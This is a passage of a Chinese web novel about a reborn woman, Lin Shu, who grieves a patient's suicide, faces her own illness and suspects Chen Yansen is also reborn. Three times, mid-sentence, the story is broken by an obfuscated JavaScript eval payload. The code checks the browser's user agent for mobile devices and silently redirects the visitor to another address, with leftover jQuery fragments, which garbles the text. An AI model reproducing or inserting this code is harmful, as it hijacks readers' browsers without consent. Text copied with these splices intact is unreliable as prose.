林舒拼命控制着自己发抖的声音,争分夺秒劝说道:“我是从未来回来的。我告诉你,在未来,孕妇可以自主签名,女性拥有更多话语权。” 见李星星没反应,她又举起手指发誓道:“是真的,我向你发誓,我说的一切都是真的。你下来,好吗?你快下来。” 李星星似乎轻笑一声,呢喃道:“真好,可惜我看不到了。” 话毕,她纵身一跃。 “李星星!”林舒扑到窗台想要抓住她,但是指尖只碰到她衣服上的一角,紧接着,后面有一只宽厚的大手捂住她的眼睛,将她往后一拉。 她跌进一个温柔的怀抱里。 65. 第五世(二十八) 林舒被陈彦森牵着走出医院的时候,整个人状态都是游离的。 她失去了感知和思考力,任由陈彦森摆布,让她戴头盔就戴头盔,让她上摩托就上摩托,让她抱紧他就抱紧他。 她把头靠在陈彦森的背上,干瞪着眼睛,看着一旁的景色疯狂后退,觉得这个场景有点像动画片,说不清是一种怎样的感觉,只觉得很不真实。 她搂住陈彦森的手不禁紧了紧,但身前的人身子冷冷的,没有她熟悉的体温。 “陈彦森,”她惊呼,“你好冷。” 可是没有得到回应。 她开始慌了神,坐得不安定,又喊了一声:“陈彦森,你真的是陈彦森吗?” 她觉得自己喊得很大声,大到震得耳朵生疼,但是前面的人依旧不断往前开。她六神无主,拍了拍前面的人,又四处乱动寻求一个下车的机会。 摩托车在此时猛然停下。 林舒飞身下了车,跑到车前,手忙脚乱取下驾驶员的头盔。她又急又失章法,取头盔时没有注意力度,但对方并没有责怪,反而关切地问她:“林舒,你还好吗?” 看到头盔下是一张熟悉的脸,她松了口气,张口说:“你好冷啊。” 她一张嘴,声音就被风卷跑了。她这才发觉现在正刮着大风,风吹在脸上、手上生疼。 “因为台风马上要登陆,现在降温了,风很大。”陈彦森温柔地为她戴上头盔,“我没事,你别担心。” “好,”林舒笨拙地点头,“我不担心。” “那上车吧,我们回家。”陈彦森依旧温柔地笑。 “好,我们回家。”林舒很听话,陈彦森说什么她都信,说什么她都听。他说没事那就是没事,说回家那就一起回家。 她乖巧地上了车,坐稳,摩托车在下一秒立即启动,朝路的尽头驶去。 好像没过多久,又好像过了许久,摩托车驶进车库,停在某一单元楼下。她跟着陈彦森上楼,进屋,换上他找出来的干净衣物,呆呆坐在沙发上一动不动。 陈彦森进厨房捣鼓一番,端出两碗热气腾腾的面条,招呼林舒过来:“来吃点热的暖暖身子。” 沙发上的女孩窝在阴影处,看不清她脸上的表情,依旧保持着原来的姿势。 陈彦森端起桌上砌好的热茶走到她身边,顺便打开沙发边上的灯。暖黄色的灯光洒下,少女的脸像从森林的迷雾中浮现出来,清晰可见。 她睫毛轻颤,眼角挂着未干涸的泪痕。 她在哭。 陈彦森心一颤,抱住她,轻抚她的后背,张嘴想说什么,但最后还是把话咽回肚子里。 林舒开口,似在呓语:“为什么呢?为什么能救下李洛诗,能救下张绵绵,能救下楚卿,却救不了她呢?” “为什么呢?”她继续呢喃,“我想不明白,真的想不明白。陈彦森,你能告诉我为什么吗?” 陈彦森刚想说什么,却被林舒打断了,她自顾自地继续说:“是不是我做错了什么?是不是我做漏了什么?是我的问题吗?是我害死她吗?” 这次陈彦森吐字很快,争取在林舒再次说话前争到说话机会:“这不是你的错,你已经尽力了,是她的家人错了。” “不是我的错吗?”林舒含着泪,呆呆看向陈彦森。 “不是你的错。”陈彦森回答铿锵有力不容拒绝,手上的动作却很轻,轻轻捋了一下林舒额前的碎发。 “我这次已经来得很及时了,我明明可以救她的。” “对,你已经尽力了,你已经做到最好了。” “我尽力了,我做到最好了。” “对。” “可她还是死了。” 窗外狂风作乱,吹得窗户砰砰震动,桌上的面条不再冒着热气,慢慢软榻下去。沙发上的两人紧紧相拥,在接近世界末日之际,依偎在一起。 …… 林舒醒来的时候,外面天空清朗,没有一丝云,台风已经过境了。她去看床头的闹钟:16:43,她竟然睡到了下午。 她连忙一骨碌翻身下床,连拖鞋都来不及穿就冲出卧室:“陈彦森!” 从厨房传出回应的声音,接着穿着围裙的陈彦森出现在她面前:“早啊,饭马上就好了,你去洗把脸就能吃。” 林舒虽然睡懵了,但还记得刚刚看过时间的:“早?不早了吧,都快傍晚了。” 陈彦森笑了,但笑得幅度很浅,嘴角只微微勾起:“什么时候起床,什么时候都算早。” 林舒速速洗漱完毕来到餐桌前,见餐桌上已摆满一桌。煎牛扒,烤蘑菇,咖喱土豆焖饭,青胡萝卜玉米汤。 好一个中西合璧。 林舒讶异:“不是台风天吗?你去哪买这么多食材。” “找邻居买的。”陈彦森将这个话题轻轻带过,给她盛汤,“先喝口汤垫垫肚子,再吃饭吧。” “谢谢。”林舒接过碗喝了一口。从昨天到今天,她已经24小时没进食了,走路都没力气,现在终于吃到东西了,脑子都清醒很多。 这脑子一清醒,昨天因为悲伤而忽略的疑点此刻都浮现出来: 第一个疑点,他为什么会知道她在妇幼医院五楼? 昨天李星星跳楼,她扑过去窗台想要拉住她,半个身子都在窗户外面,他怎么会这么及时地出现在她身后,并捂住她的眼睛? 第二个疑点,他的回答。 昨晚回到家,她悲痛不已,絮絮叨叨地向他说自己心里话,说自己是重生的,说自己为了救李星星做了何种努力。当时他是这么回答的:“也许,影响历史轨迹的事情是无法改变的。” 想到这,林舒不禁偷偷看对面的人一眼,却见他认认真真吃饭,仿佛吃饭是这个世界上最重要的事情。 饭后,林舒坐在钢琴前,对陈彦森说:“我最近有练习花之舞,弹给你听听。” 她急需验证某件事。 陈彦森表情很淡,点头:“好。” 林舒双手落在琴键上,开始弹奏。她的基本功还算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228947|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以,但是在弹这种难度的曲子上远远不够用,所以弹得并不流畅。所幸练习次数多,勤能补拙,磕磕绊绊地也竟能将一首曲子完整弹完。 陈彦森走过来,在琴键上弹了个音,说:“你每次弹到这,这个音都错了。” 林舒抬头看他,不动声色地说:“是吗?” “曲子背得不熟。”陈彦森没有任何表情,翻开琴谱,指出她错误之处,“这个音,你每次都错了。” “哦,我记住了。” “那我先去洗碗了。”说完,陈彦森转身向厨房走去。 “等一下,”林舒喊住他,问出心底的疑问。“你昨天说‘历史轨迹的事情是无法改变的’,你怎么知道这件事是改变历史轨迹?” 陈彦森回过身子,脸上依然没有情绪:“你说的,你说未来孕妇可以自主签字。” 是她想多了,其实他并没有重生,只是单纯地相信她说的话,相信这个世界存在科学都解释不了的事情? 这也说得通。毕竟从第三世到第五世,他每次都相信她是重生的。 而且,很重要的一点是,如果他也重生了,林舒实在想不到他瞒着自己的理由是什么。 算了,不想了。 林舒放松身体,深深陷进沙发里,闭上眼睛。 她需要好好地休息一下。 这几年,重新学习高中知识、处理跟陈彦森的关系、接受父母真实的婚姻状况、寻找李星星、暗中引导李洛诗、支教时设法帮助张绵绵和楚卿,她已耗费了太多精力。虽然现在是一具20岁的年轻身体,但心态早已垂垂老矣。 如今再有李星星一事冲击,她的心理防线已在溃败边缘,稍有小磕碰就有彻底被击溃。 她很清楚自己现在的情况,也清楚知道自己还有很多事情没做,绝不能倒下,所以她强撑着情绪,逼迫自己休息,休息,再休息一下,必须要有足够的精神状态去应对下一个、再下一个事件。 离开海莲之前,林舒和陈彦森上岛去探望了尚爷爷和钟奶奶。依海而生的岛屿一片狼藉,损失惨重,有鸡棚瓦顶被掀飞,原本养着数百只鸡的棚内连根鸡毛都不剩;也有家住茅房被吹得七零八落,家不成家。重建还需时间、精力和钱财。 陈彦森把二老接到市区,将度假屋腾出来给他们住。度假屋靠近大沥岛,也方便他们随时回去收拾和重建家园。 安顿好二老后,林舒回到南苑,依旧去参加红十字救护员培训班,拿下救护员证。 大三开学后,她依旧去阻止了那个校巴发车。过程还是有些波折,被当作破坏公物的坏学生带去保卫处问话,但幸好结局是好的,她成功阻止那场车祸,保下陈彦森的左腿。 唯一跟上一世有出入的,是她没有去工作了十二年的广告公司面试。 或许也不能说没有去。那天她是走到那栋熟悉的写字楼楼下的,只是在准备踏上台阶时收住脚,继而转身离开。 她转身的那一刻,温昊殷从大门走出来,往她相反方向走去。 66. 第五世(二十九) 没去广告公司做客户经理的林舒,最后选择了一份婚礼策划的工作。 其实说起来,这两份工作相似点蛮多,比如都需要对接客户,对接设计细节,对接物料,都是一份注重统筹和执行能力的工作。所以,林舒很快就上手,进入工作状态。 而她选择这个职业的原因,则是跟上一世选择继续做客户经理一样的原因——她认为婚礼策划师能够给人带来幸福和欢乐,这份工作可以积德。 虽然林舒进入新的行业每天忙得脚不沾地,但是关于李洛诗的事情一件没忘,陪她去意向学校参加面试,建议她带着猫咪吉仔去教师宿舍住,跟李洛诗妈妈李静曦敞开说清楚李洛诗的情况,叮嘱她们按时看心理医生。 她也记得刘沐鑫五年后被裁员一事,但这次情况有所不同。陈彦森大学毕业决定创业后就邀请刘沐鑫加入,并向他提议签期权合同,即三年之内,如果刘沐鑫的技术能为公司带来500万收入,陈彦森就给他10%股份。 “我相信你至少能拿到15%的股份的,”陈彦森对刘沐鑫如是说,“我相信你的能力。” 事实证明陈彦森没有看错人,五年后,到了2024年,刘沐鑫靠自己的能力持有公司20%股份。 牵挂的事情一件件做好,身边的人都步入正轨,李洛诗的抑郁症得到控制,刘沐鑫不会被裁员,他们有精力和财力考虑结婚这件事;丁敏的服装生意蒸蒸日上,雇了两个员工轮班,她现在清闲多了,有时间去跳广场舞了;至于陈彦森,林舒也尝试解开她的心结,帮助他一点点走出哥哥去世的阴影中,接纳新的自己。 林舒照顾了所有人,却唯独忘记了自己。 她变得越来越沉默,衣服颜色越来越素,打开衣柜只有黑白灰三个颜色,二十多岁的女孩子的衣柜里竟找不出一件颜色稍艳的衣服。 她开始整夜睡不着,运气好的时候会在天亮前睡着,但大概率没到六点就会醒。长期睡眠不足导致她精神越来越差,胃口也不好。陈彦森看她这样下去也不是办法,周五跟刘沐鑫打了个招呼,提前下班去超市买了食材,就去接林舒下班。 林舒看见他像桩木头立在办公楼大门很是惊讶,还以为自己看错了,走近才确定这真是陈彦森。 “不认得我了?”陈彦森歪头看她。 “认得认得。”林舒赶紧陪笑,“您长得这么帅,我大老远就认出来了。” “嘁,油嘴滑舌。” “你来找我是有什么事吗?”林舒问。 “去我家吃饭。”陈彦森顺手接过林舒的包,背上。 “为什么?为什么突然要去你家吃饭?” 陈彦森斜眼看她:“你今晚有约了?” “没,”林舒说,“但也不是非得要约你。” 陈彦森直接上手一把擒住她的后颈,“那我今晚还非得要跟你吃饭了。” “你你你,”林舒怕痒,缩起脖子,“你有话好好说,别掐我痒痒肉!” 现在轮到陈彦森占上风了,得意洋洋道:“怕痒就别乱动,乖乖跟我回家。” 林舒没办法,只得作罢,乖乖跟着上车。 回到家,陈彦森直奔厨房,一边系围裙一边说:“你先休息一下,我炒个菜很快就好了。” 林舒应了一声,随便找个位置坐下。 坐下才发现,这是一张绿色的小沙发,不会过于柔软但也不会硌腰,舒适度刚刚好。 她一开始是端正地靠在沙发上的,坐着坐着就自然地蜷缩起小腿,整个人窝在沙发里。 另一边的厨房里,陈彦森刚把汤料倒入锅里,开始备菜。他还穿着上班时的衣服,将白色衬衫的衣袖挽起,系着一条黑色的围裙,有职场精英男摇身变成居家好男人那范儿了。 他小时候跟着保姆一起生活,长大后迫切地渴望私人空间,大学毕业后就开始独居生活。创业初期忙得脚不沾地,只能吃外卖,这几年公司上了正轨,又有刘沐鑫和楚洛西两个好帮手,他的时间宽裕了些,就开始自己做饭。 比起高考后在大沥岛做的饭,他现在的水平可比之前高了不少。 并且在食材挑选上,他也是认真花了心思的。肉菜都是新鲜的,煲的汤是安神助眠的。林舒现在比大学那会更瘦了,本来一张可爱的圆圆脸现在瘦成巴掌脸,已经到了台风登陆都要担心她被吹走的程度。 先让她喝口汤吧。陈彦森心想,端着碗推开厨房的门。 女孩整个身子蜷缩在绿色沙发里,均匀呼吸着。她双臂交织在一起,双脚弯起,像书本上宝宝在妈妈肚子里的姿势。 她睡着了。 陈彦森轻轻把碗放在餐桌上,踮起脚尖缓缓走到她身边。 她的脑袋斜斜靠在椅背上,双眼紧闭,眉头紧锁,双手握拳,即使是在睡梦中依旧是紧绷的状态。 陈彦森心疼不已,伸手想解开她的拳头,却又担心吵醒她。罢了,她好不容易睡着,就让她安稳地睡一觉吧。 他去房间取了一块毯子搭在她身上,把屋内的灯关了,抱着平板坐在她旁边。她睡觉,他工作,互不干扰,却又互相陪伴。 等林舒醒来,外面的天已经全黑了,屋内也没有光,她心一慌,吓出一身冷汗,马上从沙发上坐起。刚醒来还是神智不太清晰的状态,她不记得自己在哪,现在是什么时候,慌乱中想要立刻起身离开这里。 在她最慌乱的时候,有个柔软的东西握住她的手,紧接着是一个熟悉的温柔的声音:“林舒,我在这。” 她认出来了,是陈彦森。这时她终于记起,下班后来到他家里,在等他做饭的过程中睡着了,心头大石落下。 “啪——”沙发边上的台灯亮起,橘黄色的灯光瞬间铺满沙发的一瞬间,陈彦森那张令人心安的脸也出现在她面前。 他轻轻捏了捏她的手,轻声说:“我在这。” “一不小心睡着了。”她笑了笑。 他摸了摸她的头,“我去把饭菜热一热,很快就能吃。” 她抬头看时钟,九点一刻。 她睡了整整三个小时。 比她昨天一整晚睡的时间都长。 “我睡了这么久,你怎么不叫我起来?”她双脚在地板上寻找拖鞋,发出细细窣窣的声响。 “巴不得你再多睡一会。”陈彦森端着菜走出来,“过来吃饭吧。” 林舒过去坐下,开始吃饭。陈彦森做的菜少油少盐,营养搭配,很适合她这种熬夜人士。 “我觉得你家这沙发睡得很舒服。”她边吃着,边往沙发瞟一眼,“一坐上去就很困。” “那以后多来睡觉。”陈彦森给她夹了一块肉。 当时林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239787|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒并没有把这句话放在心上。直到某一天夜里,她在床上辗转反侧无法入眠,索性放弃折磨自己,起床找点事情做。 她看着橱柜里的烤箱,突发奇想要做饼干。说干就干,她翻出材料,把平板架在一边看着视频操作。 在太阳升起之时,曲奇饼干也做好了。她做了两个味道,抹茶和巧克力,用小袋子装起来,一袋六块,每个口味各装三块。 林舒带上几袋饼干,开上小电动,先到离家最近的南苑二小,李洛诗今天作为值日老师在校门口值日。 李老师在工作不便打扰,林舒趁着孩子不多的时候匆匆过去把饼干塞进她手里,挥挥手就去往下一个目的地。 陈彦森公司所在写字楼就在距离她公司不到十分钟的路程。她不知道他几点到公司,打算把饼干放在他办公室就走,结果一出电梯就撞见刘沐鑫。 “林舒,早啊,”刘沐鑫说,“来找陈彦森?” “来找你们。”林舒从包里掏出三袋饼干,“你、楚洛西、陈彦森,一人一份。” “谁叫我?”声音从后面传来,紧接着一只手从旁边伸过来,从林舒手中拿走一袋饼干,“既然是专门拿给我的,那我可不客气了。” 林舒回头,瞪了一眼神出鬼没的陈彦森,作势要拿回饼干:“谁说给你的?拿回来。” “诶,我偏不。”陈彦森把饼干举高,“不服来抢。” 身后电梯“叮”一声响,几个挂着工牌的上班族有说有笑地走出来,一见到陈彦森瞬间收起笑容,礼貌问好:“陈总,早上好。” 陈彦森微微颔首,淡淡应了声“早”,与刚刚跟林舒打闹的模样差别很大。 待他们走远,林舒忍不住打趣道:“陈总,对员工可别太严肃,现在不流行这种冷脸霸总风格了。你应该拿出平时跟我说话的模样,跟员工搞好关系,共建和谐职场氛围。” 陈彦森是想说什么,但话到嘴边又不想说了,懒懒丢下一句“走了”,就走进办公室。 刘沐鑫已经在吃小饼干了,他一边嚼一边说:“林舒啊,陈彦森这人也就在你面前是这样,他对其他人可是另一副模样。” “什么模样?” “就你刚说的,冷脸。”刘沐鑫说,“他今天在你面前这么活泼多话的一面被员工看到,现在估计在办公室都传开了。” 他拍了拍手上的饼干屑,幸灾乐祸地说:“我回去啦,去八卦一下其他人是怎么说陈彦森的。” “诶,那——”林舒朝刘沐鑫背影喊,“你八卦完了也给我分享分享呗。” “那可不行,我不想被陈总……”刘沐鑫话音还未落下,玻璃门在他身后合上,听不见他后面还说了什么。 算了,没得八卦那就回去上班吧。林舒按下电梯,在下楼的时候收到陈彦森的信息。 陈彦森:【昨晚没睡好?】 林舒发了一个惊讶的表情:【你怎么知道?躲我床底下了?】 陈彦森:【一大早就做好新鲜出炉的饼干,也就你和楼下的面包店能做到了。】 林舒:【你倒是提醒了我。以后我不做婚礼策划师了,可以考虑转行去面包店打工。】 陈彦森:【我在认真跟你说话呢,别打岔。】 林舒:【您请说。】 陈彦森:【来我家睡觉吧。】 67. 第五世(三十) 陈彦森在自家门锁录入了林舒的指纹,这下林舒可以随时去他家睡觉。 起初,林舒只是偶尔下班后上去睡两三个小时,在陈彦森加班回来前就走。后来,她就从一个月两三次的频次,增加到一周两三次,而她在陈彦森家里的东西也从只有一双拖鞋,到有一个专门的杯子、牙刷、被子、碗筷…… 这个家里,属于她的东西越来越多。 陈彦森虽然不知道是什么原因导致她发生这样的变化,但是她肯来休息,不抗拒他的靠近,他就很满足,便也不去追问。 只是,他有时也会觉得奇怪,明明她现在休息比之前多了,但是怎么觉得气色一天比一天差呢? 其实,这才是林舒一直往他家跑的原因。 那天,是南苑市著名的企业家张家和徐家的联姻,全国各地的大老板都前来庆贺。婚礼办得盛大华丽,透亮的水晶倾泻而下,在一片鼓掌中新娘沿着白色地毯一步步走向新郎,两人手牵手讲述爱情故事,青梅竹马、日久生情、门当户对、喜结良缘,这四个词语便可以概括。 林舒在台下站着,看着自己写在文档里的创意跃然而出,体现在这对美好的新人身上,具有成就感之余,觉得有些感慨。 她想起丁敏。 来到第五世,她做了一些努力,包括与自己和解,与世界和解,与不完美的家庭和解,改变了妈妈的人生。 那次在迪士尼,烟花在城堡盛开之际,妈妈在她耳边小声说:“谢谢宝宝,我很开心。” 开心就好了,没有什么比妈妈开心更重要了。 如果,这一世积下的功德能够许愿,那她就用全部功德换一个愿望,一个就足够了。 她看着台上的新娘,心里说: 这样的人生剧本,下辈子换我妈妈体验一次吧。 仪式结束,待宾客们吃点东西,敬酒环节就开始了。林舒发现一个小问题,着急找同事解决,只顾着四处寻找同事的身影,没留意走廊那边迎面走来两人,她跟对面的女生擦肩而过时不小心撞在一起,手上的文件撒了一地。 她急忙低头捡文件,没料到对方竟叫出她的名字:“林舒?” 她惊讶地抬起头,认出对方:“西宁?” 季西宁,她的小师妹。 缘分始于十年前,初一(3)班30号季西宁给高二(3)班30号林舒写了一封信,希望她在小高考中取得好成绩,林舒回赠巧克力。 因为有未来的记忆,她得知在不久后季西宁会因为家庭变故的原因转学,并猜测这个变故对她人生有比较大的影响,所以这一世的她赶去跟季西宁说了这么一句话:“没有熬不过去的坎,都会过去的。” 也不知道这句话有没有在她之后的日子里起到一点鼓励的作用呢? 眼前的季西宁现已成为一名记者。林舒在电视和社交媒体上看到她在2024年索哈纳奥运会中的报道,专业、从容。 此刻她眼眸含笑,身旁的男士深深注视着她,仿佛天地间他眼中只有她一人。 看到小师妹幸福快乐就好了。 整一天,林舒都被旁人的幸福所包裹着,她的心情也是轻松愉悦的。然而回家后,她却感觉头晕目眩,喉咙一道血腥味涌出。 她张开手掌,是血。 她吐血了。 一整夜,她都没有合眼。 只要一闭上眼睛,口腔中的血腥味就在提醒她:你的生命已进入倒计时。 林舒翻开日历,数着日子,现在是8月,她还能熬多久呢?十天?半个月?一个月?她还能熬到12月20日吗? 她坐在书桌前,在白纸上写下几个大字:死前必做事项。 一、把所有的存款三七分,分别存进两张银行卡上,三成存款留给李洛诗,她需要买房结婚生子,这都是烧钱的项目;剩下的七成留给妈妈,没能给她养老是她不孝,未来妈妈要用钱的地方还有很多; 二、明天上班开始写交接文件,把电脑桌面的文件分好类,以防突然离世影响项目进度; 三、12月20日,南苑二小会有一场大火,必须要阻止这场大火; 四…… 她用力写下“四”,笔头顿了顿,没有往下写。 经历过多次死亡,这次她非常冷静理性地考虑身后事,尽量不给任何人带来麻烦,也尽量把事情处理妥当。 她不打算留下遗书给任何人,包括丁敏。也不打算做任何特别的举动,比方说,约三五好友一起彻夜长谈,把想要说的话都说完;再比方说,去参加刺激项目如跳伞,不留遗憾。 她只想安静地、悄无声息地退出所有人的生活,希望这能让在意她的人尽快走出伤痛,拥抱新生活。 林舒描了描“四”这个数字,犹豫着、迟疑着写下:陈彦森。 她不知道该如何面对他。 原本选择重生来到第五世,是因为她有话想要跟他说,所以她回到高一,回到他们相识的起点。但后来随着日子推移,看着陈彦森逐渐长大成熟,也慢慢如记忆里那般向自己靠近,她却开始退缩了,开始思考:如果没有她,他会不会过得更好一些。 因此,这一世的他们没有落泪坦白,也没有拥抱诉情,也许他们的心是无比靠近对方,但是他们的身体始终相距很远。 到了现在,她已经不打算将未说出口的话告诉他了。 一个将死之人留下爱意,对活着的人来说实在是太痛苦了,她不能这么自私。 她在“四”后面写道:多做令他开心的事情。 因此,她去陈彦森家里的次数开始增多。既然陈彦森希望她能多休息多睡觉,那么她就在他面前睡觉,让他安心。 许是休息得好,林舒没再吐血,顺利活到八月底。 第一件事和第二件事她已经做好,那么现在就要做第三件事了。 这一世她没在南苑二小做代课老师,只能找个时间偷溜进去。她从李洛诗那旁敲侧击打听到,她们老师明天会在学校里做迎新准备,比如布置教室、制作家长会PPT、整理学生学籍资料等,这可是千载难逢的好时机。 当晚,林舒换了一身深色衣服,戴上帽子和口罩,避开摄像头翻墙进入南苑二小。 上一世起火点是二楼杂物间,是一间空置的教室,摆放书籍、抹布、扫把等杂物,都是易燃物品,一旦有火苗就会迅速蔓延开来,造成不可挽回的局面。 林舒轻车熟路来到杂物间,发现大门虚掩着,轻轻推开门一个闪身入内,再把门轻轻关上。借着月光,她躲在窗帘后面,用极慢极轻的动作把窗帘拉好,才打开手电筒。 一如她记忆中的模样,杂物间杂乱无章,一看就知道已经很久没打扫过了。她把手电筒放在高处,先用扫把将地上的垃圾清扫干净装进垃圾袋里,接着开始整理书架,把一本本书按类目摆好。然后把扫把和拖把用绳子捆起来放在前门门后的角落里,又把水桶和抹布叠起来放在后门门后的角落里。 经这么一整理,物品都分别摆放,整个教室瞬间宽敞明亮起来。 林舒又偷溜出去打了一桶水,把讲台、书柜和桌子擦了一遍,地板也拖干净了。 不错,她叉着腰站在讲台上满意地点点头,这下安全隐患解除了。 走之前,她在黑板写下几个大字:天干物燥,小心火烛。 她拿起手电筒,正打算离开之时,教室外突然想起一个男人的声音:“谁在里面?” 是保安! 林舒手一抖,手电筒差点掉落在地,她赶紧把手电筒关了,屏气凝神躲在门后,紧张地听着外面的声音。 保安又说:“刚刚李老师走的时候说所有老师都已经走了,你是哪个年级的老师?” 哎呀,大意了。怪不得她出去打水的时候隔壁教室没有开灯,她一心一意要把教室整理好,没留心想原来李洛诗那时候已经走了。 完了,这可怎么办呢? 她紧紧攥着手电筒,看着身前的大门被一点点推开…… 就在这时,外面传来一个奇怪的声音,接着她听到保安大声问:“谁?”没有人回应,接着又是一个奇怪的声音,这次林舒听得清楚一些,像是什么东西撞到护栏发出“哐当”一声响。 身前的大门没有再被推开,门外的脚步声响起,朝着另一边跑去。 林舒迅速拉开门走出杂物间,好奇心驱使下她往保安跑去的方向望去,看到不远处有一个黑色的身影跑在保安前面。转弯的那一瞬间,黑影身上有个东西在月光下闪了一下。 林舒迟疑了一下,把杂物间大门拉上,朝他们奔跑的反方向离开。 …… 离开南苑二小,林舒没有回家,而是去陈彦森家。 家里没人。 林舒打电话给陈彦森,无人接听。她站在客厅中央,环视四周,没有多一秒迟疑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250317|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始把屋内所有抽屉打开,把里面的东西都翻出来。 她动作很大,力度也猛,把东西翻出来后狠狠扔在一旁,不一会儿整个屋子乱作一团。 屋外指纹锁在这个时候响起,陈彦森回来了。他一进门,看到怒目圆瞪的林舒和乱糟糟的客厅,一时愣了神:“家里进贼了?” 他一进门,林舒就去看他腰间,果然看到他腰间挂着大象挂件,那是高一时他们在电玩城里打机动游戏兑换的奖品之一。另一个奖品是大象项链,她现在还挂在脖子上。 她一个箭步冲到陈彦森身前,一把拽下大象挂件,严肃地问:“你刚刚去哪了?” 陈彦森极少见到她这样严肃,整个人的气压很低,想要她冷静下来。但他的手还未碰到她肩膀,后者肩膀一缩,躲开他的手,只直直地盯着他,等他回答。 他不明白她为什么突然对自己有这么大的敌意,只好说:“我刚从公司回来。” “行,”林舒拿起手机,“我现在打电话给刘沐鑫,看看你是不是真的在公司。” 陈彦森立马伸手去抢她手机:“林舒,你别……” “别什么?”林舒停下动作,看着他。 “今天公司里只有我一个人。” “那好,我去查监控。”林舒走到玄关处,“我跟物业说我丢了一台电脑,要求调取你公司大门的监控。” “林舒,”陈彦森拉住她,“你可以告诉我怎么回事吗?” 林舒深吸一口气,看着他的眼睛:“那你坦白告诉我,刚刚,你去哪了?” …… 林舒离开陈彦森家的时候,手里拿着一个袋子,装着她的拖鞋、水杯、碗筷等,是陈彦森给她买的,说是她专属的。 刚刚,她把这些“专属她使用”的东西一股脑塞进袋子里,说:“以后我不会再来了,这些东西也不会再用。” 丢下这句话后,她破门而出,并一甩手把袋子扔进楼下的垃圾桶里。 接着,她干脆利落地把陈彦森所有联系方式拉黑。 接下来几天里,陈彦森换着电话号码打给她,林舒一律不听;他来林舒的公司和家楼下等她,林舒拒绝沟通;他找李洛诗和刘沐鑫问林舒到底发生了什么事,林舒闭口不谈。 就这么持续了一周,陈彦森不再换电话号码找她,不再去各个地方堵她,李洛诗和刘沐鑫也不再在她面前提起陈彦森。 一个在她身边待了十二年的人,也就这么消失了。 林舒觉得有些不习惯,心里空落落,但随着身体状况每日况下,也清楚这是上天安排的最好选择。 这天晚上要加班,林舒工作到九点才下班,走出办公楼才想起今天还没吃晚饭,信步走去附近的广场,打算随便糊弄一餐。 广场喷泉旁围着一圈人,人群里传出钢琴声。林舒觉着好奇,在最外围踮起脚尖往里看,可惜人太多了,她只看到人群中央有一台钢琴,有人正在弹钢琴,但看不清弹琴者的模样。 林舒站了一会,肚子咕噜叫,还是决定先去吃点东西。就在这时,熟悉的钢琴旋律响起,是花之舞,是她最喜欢的花之舞! 这下林舒可不走了,马上收回脚步,精神抖擞地站直身,闭上眼睛,任由安静优美的旋律淌进耳朵,感觉一天的疲惫都在这一刻被拂去。 她嘴角带着笑容,安静听着,让旋律带她的灵魂自由飞向天空,落在云端,俯瞰整片大地,乐与苦、笑与哭、生与死、爱与恨、重聚与别离,一切的一切都变得不重要,唯有这能疗愈人心的音乐才是最重要的。 突然之间,一个突兀的音符弹出,她猛地睁开眼,不敢相信自己的耳朵。紧接着,又是这个音,又是在这里错了,这次她很确定自己听错了,一瞬间血液直冲头顶,直愣愣推开人群挤进去。 弹琴者背对着她,但腰间挂着的大象挂件是那样显眼,与那晚在南苑二小看到的黑影身上的挂件一模一样,与那晚陈彦森气喘吁吁赶回家里时的挂件一模一样。 琴声停下,那人起身,转身,看向她。 “你是不是有个音弹错了,每次到那都错了。” “你听出来了!” “我倒也不至于音痴到这个程度。” “如果哪天我们走散了,再见面时认不出对方了。你要记住,弹错这个音的,就是我。” “什么意思?” “这个错音,就是我们相认的符号。” 68. 陈彦森的自白(一) 2012年,中考结束,陈彦森考入南苑中学。 自哥哥离世后,他一直模仿着哥哥的模样学习和生活着,因此在新的环境里表现安静沉默,没结识到什么新朋友,只顾着低头念书,想要考取年级第一。 因为,这很像是哥哥会考到的名次。 然而,第一次月考结束后,他站在公告栏前,看到自己的名字排在第二。而排在第一名的,是同班同学,也是他的前桌,林舒。 也许是她就坐在他前面的缘故,他对她印象很深。 她梳着马尾辫,被老师点名起来回答的时候马尾一晃一晃的,晃得他有些眼花; 她很贪玩,下课铃还没响起,左腿已经伸到过道处,在课桌底下做好冲刺准备;而上课预备铃响起的时候,她没有一次是在教室里的; 她在军训时唱了《哪儿》,声音很好听; 她活泼明媚,人缘很好,入学一周就已经跟班上绝大多数人打成一片,大家都喜欢来找她玩,这让陈彦森这个坐在后桌的也有一种自己受欢迎的错觉。 他知道她成绩好,他看过入学成绩单,她的中考成绩是年级第二,仅比他这个第一名少三分,所以暗地里将她视为竞争对手。 